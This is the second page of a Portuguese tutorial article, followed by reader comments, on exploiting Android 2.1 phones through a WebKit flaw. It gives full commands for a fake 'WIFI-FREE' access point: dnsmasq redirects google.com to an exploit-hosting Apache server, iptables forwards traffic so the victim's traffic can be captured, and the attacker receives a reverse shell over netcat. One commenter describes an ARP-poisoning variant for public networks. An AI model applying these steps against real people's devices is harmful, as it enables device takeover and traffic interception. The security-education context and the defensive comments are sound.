Explorando celulares Android via Web com airbase-ng

Esse artigo busca explicar como é possível a exploração de celulares com Android 2.1, via wireless, através de uma vulnerabilidade encontrada no WebKit.

[ Hits: 24.250 ]

Por: Luiz Vieira em 16/03/2011 | Blog: http://hackproofing.blogspot.com/


Preparando o Access Point falso e atacando a vítima



Preparando o Access Point falso

Com o que foi executado no passo anterior, já estaríamos em condição de atacar com sucesso uma vítima se tivéssemos utilizando um IP público na Internet.

Mas a ideia a seguir é levantar um Access Point falso com o airodump-ng para que as pessoas com celulares acessem o mesmo em busca de internet grátis, e quando realizarem uma requisição à um DNS específico, redirecionamos a vítima para nosso Apache com o código malicioso.

Primeiro vamos configurar o Dnsmasq, que nos vair prover o serviço de DNS e DHCP para nosso Access Point falso. Se não os tivermos instalado, podemos fazer da seguinte forma:

# apt-get install dnsmasq
# /etc/init.d/dnsmasq stop


Logo devemos nos assegurar de configurar em qual interface de rede o Dnsmasq ficará escutando, configurar o range de endereços IP que entregará às vítimas, e qual o domínio será redirecionado para nosso Apache com o exploit, que nesse caso será "google.com":

# nano /etc/dnsmasq.conf

interface=at0
dhcp-range=192.168.0.5,192.168.0.20,12h
address=/google.com/192.168.0.1

# /etc/init.d/dnsmasq start

Se tivermos internet (3G por exemplo, se estivermos em algum local público), seria uma boa idéia encaminhar todo o tráfego para que a vítima acredite que está em uma rede wireless comum, e de brinde teremos a possibilidade de capturarmos algo de seu tráfego:

# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE


Finalmente, levantamos o Access Point falso com o airbase-ng e configuramos a interface de rede "at0", criada pelo airbase-ng, com o endereço IP onde se realizará a conexão reversa:

# airbase-ng -C 30 --essid "WIFI-FREE" wlan0
# ifconfig at0 192.168.0.1 netmask 255.255.255.0 up


Nesse caso, a rede se chama "WIFI-FREE", mas podemos colocar qualquer outro nome que escolhermos.

Atacando a Vítima

Por minha experiência com o Motorola Milestone, quando habilitamos a placa wireless do celular, inicia-se a detecção de redes na área e conectamos manualmente na qual desejamos, principalmente nas que estão abertas e sem criptografia. Depois da primeira vez que fazemos isso, nas vezes seguintes a conexão é automática.

Quando a vitima estiver conectada, o tráfego de rede passará normalmente até o momento em que a vítima acesse o "www.google.com", de onde será direcionada para nosso Apache e obteremos uma conexão reversa no netcat que deixamos escutando:
Linux: Explorando celulares Android via Web com airbase-ng
Uma vez que recebemos a conexão reversa, podemos executar comandos do Android como "/system/bin/id" ou "/system/bin/ps" para verificar que efetivamente podemos acessar o dispositivo.

That's all folks!

Página anterior    

Páginas do artigo
   1. Início
   2. Preparando o Access Point falso e atacando a vítima
Outros artigos deste autor

Race Condition

Certificações em Segurança: para qual estudar?

Cheops: uma ótima ferramenta de rede

ARP Poisoning: compreenda os princípios e defenda-se

Resenha do livro: Praticando a Segurança da Informação

Leitura recomendada

Computação Forense - Entendendo uma perícia

AUDIT: Auditoria de arquivos no Linux para conhecer quem fez alterações em arquivos

OpenVPN se comportando como PPTP

Reaver - Testes de segurança em redes sem fio

SECtool - Análise Local para Linux

  
Comentários
[1] Comentário enviado por bruno_arueira em 16/03/2011 - 14:35h

É aquela velha história, não há nada a base de falhas :)

Mas há algum método paleativo para prevenir? Tipo se eu tiver root no aparelho remover o browser e por outro?

Att.

[2] Comentário enviado por gleudson junior em 16/03/2011 - 16:12h

Entre outras possibilidades de âmbito mais técnicas de evitar esse tipo de ataque, como por exemplo, a citada pelo Luiz no inicio do artigo, onde se deve fazer a atualização do sistema, visto que as versões mais recentes já vêm com patch de correção da vulnerabilidade. O principal mesmo ainda é: não conectar em uma rede não “Confiável”, ou ao menos numa rede totalmente desconhecida.

Alias Luiz, parabéns pelas contribuições!

[3] Comentário enviado por julio_hoffimann em 16/03/2011 - 19:11h

Oi Luiz, parabéns!

Muito interessante! Não sou da área, mas percebo que quando o assunto é segurança, você sabe tudo! Obrigado por compartilhar conosco esses conceitos.

Abraço!

[4] Comentário enviado por premoli em 16/03/2011 - 22:20h

Um dia ainda vou ser assim ... rsrsrs.... Parabéns!! Ótimo artigo!!!

[5] Comentário enviado por luizvieira em 16/03/2011 - 23:03h

Obrigado pelo bom retorno galera!

Fico feliz de contribuir de maneira positiva com a comunidade.

[ ]'s
Luiz

[6] Comentário enviado por killerbean em 17/03/2011 - 09:38h

Mas, como já perguntadom não há uma maneria de corrigir o bug, sem ser atualizar todo o sistema ?
Outra coisa, esse acesso é como root, certo ? Então poderimos usar essa vunerabilidade para acessar o celular como root sem ser permanente e sem perder a garantia, talvez.

[7] Comentário enviado por removido em 17/03/2011 - 16:46h

Grande Luiz. Como sempre, excelentes contribuições !


Abraço

[8] Comentário enviado por _m4n14c_2 em 20/02/2012 - 02:40h

Brilhante.

Só para incrementar a idéia de um cenário real, você não precisa criar um AP tabajara usando a sua 3G: basta ir a um local público onde já haja wifi (inclusive uma rede "confiável"), usar o bom e velho arp poisoning para redirecionar o tráfego para a sua máquina e, com um proxy transparente, editar as páginas "on the fly".

Fiz aqui o truque com o scapy + perl HTTP::Proxy em 10 minutos, só falta arrumar um android pra testar. Aí nos seus testes, o shellcode travou/fechou o browser ou só pegou uma thread?


Contribuir com comentário